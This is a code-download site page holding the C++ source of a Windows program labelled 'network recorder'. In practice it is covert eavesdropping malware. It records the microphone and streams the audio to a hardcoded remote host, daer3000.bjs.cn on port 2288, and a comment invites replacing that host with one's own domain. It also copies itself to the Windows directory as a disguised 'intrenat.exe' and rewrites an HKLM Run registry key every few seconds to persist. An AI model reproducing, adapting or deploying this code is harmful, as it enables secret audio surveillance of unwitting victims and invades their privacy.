⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 网络录音机.cpp

📁 关于网络录音机的网络源程序
💻 CPP
字号:
// 网络录音机.cpp : Defines the entry point for the application.
//


#include "stdafx.h"
#include "winsock.h"
#include <mmsystem.h>
#include "malloc.h"
#include "InfoZip.h"
PBYTE pBuffer1,pBuffer2,pSaveBuffer,pNewBuffer;
DWORD dwDataLength=0,dl=0;//,dwRepetitions=1;
WAVEFORMATEX waveform;
HWAVEIN hWaveIn;
BOOL m_close=NULL;
SOCKET sock;
HANDLE m_handle=NULL;
SOCKADDR_IN addr;
BOOL nSend=TRUE;
PWAVEHDR pWaveHdr1,pWaveHdr2;
void GetWave(void);//获取录音
void CreateSock(void);//初式化网络;
static void CALLBACK WaveS(HWAVEIN waveIn, UINT uMsg, DWORD dwInstance, DWORD dwParam1, DWORD dwParam2);




UINT Conn(LPVOID lParam)
{
while(TRUE)
{
	if(m_close)
	{
CreateSock();
	}
Sleep(2000);
}

return 0;
}



void CreateSock(void)
{
hostent* host=NULL;
closesocket(sock);
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	
while(host==NULL)
	{
host=gethostbyname("daer3000.bjs.cn");

	}
addr.sin_family=AF_INET;
addr.sin_port=htons(2288);
CopyMemory(&addr.sin_addr.S_un.S_addr,host->h_addr_list[0],host->h_length);//语音

while(connect(sock,(SOCKADDR*)&addr,sizeof(addr))<0)
{
	while(host==NULL)
	{
host=gethostbyname("daer3000.bjs.cn");//这里可以把他换成你的域名

	}
host=gethostbyname("daer3000.bjs.cn");
CopyMemory(&addr.sin_addr.S_un.S_addr,host->h_addr_list[0],host->h_length);
Sleep(3000);
}

GetWave();//开始录音
m_close=FALSE;
SuspendThread(m_handle);

}


static void CALLBACK WaveS(HWAVEIN waveIn, UINT uMsg, DWORD dwInstance, DWORD dwParam1, DWORD dwParam2)
{
switch(uMsg)
{
case MM_WIM_CLOSE:
	waveInUnprepareHeader (waveIn, pWaveHdr1, sizeof (WAVEHDR)) ;
	waveInUnprepareHeader (waveIn, pWaveHdr2, sizeof (WAVEHDR)) ;
	free(pBuffer1);
	free(pBuffer2);
	break;
case MM_WIM_DATA:
	
	pNewBuffer = (PBYTE)realloc (pSaveBuffer,dwDataLength +((PWAVEHDR)dwParam1)->dwBytesRecorded);
	if (pNewBuffer == NULL)
	{
		waveInClose (waveIn) ;
		return ;
	}
	
	pSaveBuffer = pNewBuffer ;
	//////////////////////////////////////////////////////////////////////////
	CopyMemory (pSaveBuffer + dwDataLength, ((PWAVEHDR)dwParam1)->lpData,((PWAVEHDR)dwParam1)->dwBytesRecorded) ;
	dwDataLength += ((PWAVEHDR)dwParam1)->dwBytesRecorded ;

	if(dwDataLength>=11300)
	{

	int ret=send(sock,(char*)pSaveBuffer,dwDataLength,0);
    if(ret==SOCKET_ERROR)
	{
		m_close=TRUE;
		ResumeThread(m_handle);
		waveInClose(hWaveIn);
	}
    //Sleep(1000);
	free (pSaveBuffer);
	pSaveBuffer = reinterpret_cast<PBYTE>(malloc(1));
	dwDataLength=0;
	}
	// Send out a new buffer
	waveInAddBuffer (waveIn, (PWAVEHDR)dwParam1, sizeof (WAVEHDR)) ;
	break;
}

}

void GetWave(void)
{
	pWaveHdr1=reinterpret_cast<PWAVEHDR>(malloc(sizeof(WAVEHDR)));
	pWaveHdr2=reinterpret_cast<PWAVEHDR>(malloc(sizeof(WAVEHDR)));
	pSaveBuffer = reinterpret_cast<PBYTE>(malloc(1));

	pBuffer1=(PBYTE)malloc(INP_BUFFER_SIZE);
	pBuffer2=(PBYTE)malloc(INP_BUFFER_SIZE);
	if (!pBuffer1 || !pBuffer2) 
	{
		if (pBuffer1) free(pBuffer1);
		if (pBuffer2) free(pBuffer2);
		return;
	}
	
	//open waveform audo for input
	
	waveform.wFormatTag=WAVE_FORMAT_PCM;
	waveform.nChannels=1;
	waveform.nSamplesPerSec=11025;
	waveform.nAvgBytesPerSec=11025;
	waveform.nBlockAlign=1;
	waveform.wBitsPerSample=8;
	waveform.cbSize=0;
    

	if (waveInOpen(&hWaveIn,WAVE_MAPPER,&waveform,(DWORD)WaveS,0,CALLBACK_FUNCTION)) 
	{
		free(pBuffer1);
		free(pBuffer2);
		//MessageBox(NULL,"Open erro!",NULL,MB_OK);

	}//打开设备
	pWaveHdr1->lpData=(LPTSTR)pBuffer1;//一到这里就出现异常,不知道是什么问题
	pWaveHdr1->dwBufferLength=INP_BUFFER_SIZE;
	pWaveHdr1->dwBytesRecorded=0;
	pWaveHdr1->dwUser=0;
	pWaveHdr1->dwFlags=0;
	pWaveHdr1->dwLoops=1;
	pWaveHdr1->lpNext=NULL;
	pWaveHdr1->reserved=0;
	
	waveInPrepareHeader(hWaveIn,pWaveHdr1,sizeof(WAVEHDR));//准保内存块录音
	
	pWaveHdr2->lpData=(LPTSTR)pBuffer2;
	pWaveHdr2->dwBufferLength=INP_BUFFER_SIZE;
	pWaveHdr2->dwBytesRecorded=0;
	pWaveHdr2->dwUser=0;
	pWaveHdr2->dwFlags=0;
	pWaveHdr2->dwLoops=1;
	pWaveHdr2->lpNext=NULL;
	pWaveHdr2->reserved=0;
	
	waveInPrepareHeader(hWaveIn,pWaveHdr2,sizeof(WAVEHDR));
	
	//////////////////////////////////////////////////////////////////////////
	pSaveBuffer = (PBYTE)realloc (pSaveBuffer, 1) ;
	// Add the buffers
	
	waveInAddBuffer (hWaveIn, pWaveHdr1, sizeof (WAVEHDR)) ;
	waveInAddBuffer (hWaveIn, pWaveHdr2, sizeof (WAVEHDR)) ;
	
	
	waveInStart (hWaveIn);

}



int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
WSADATA data;
::WSAStartup(0x0101,&data);
CreateSemaphore(NULL,1,1,"GetLn32new");
	if(::GetLastError()==ERROR_ALREADY_EXISTS)
	{
		::ExitProcess(0);
	}//检查
	
char zip[MAX_PATH];
::GetTempPath(MAX_PATH,zip);
strcat(zip,"temp000.zip");
DeleteFile(zip);
char Wpath[MAX_PATH],onwpath[MAX_PATH];
HKEY key;
char skey[300]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
::GetWindowsDirectory(Wpath,MAX_PATH);
::GetModuleFileName(NULL,onwpath,MAX_PATH);
strcat(Wpath,"\\intrenat.exe");
CopyFile(onwpath,Wpath,FALSE);
RegCreateKey(HKEY_LOCAL_MACHINE,skey,&key);
RegSetValueEx(key,"intrenat",0,REG_SZ,(BYTE*)Wpath,strlen(Wpath));
RegCloseKey(key);
m_handle=CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)Conn,NULL,NULL,&dl);
SuspendThread(m_handle);
CreateSock();//创建网络连接(语音)
while(TRUE)
{
CopyFile(onwpath,Wpath,FALSE);
RegCreateKey(HKEY_LOCAL_MACHINE,skey,&key);
RegSetValueEx(key,"intrenat",0,REG_SZ,(BYTE*)Wpath,strlen(Wpath));
RegCloseKey(key);
Sleep(8000);
}//自我复制+写注册表

	return 0;
}



⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -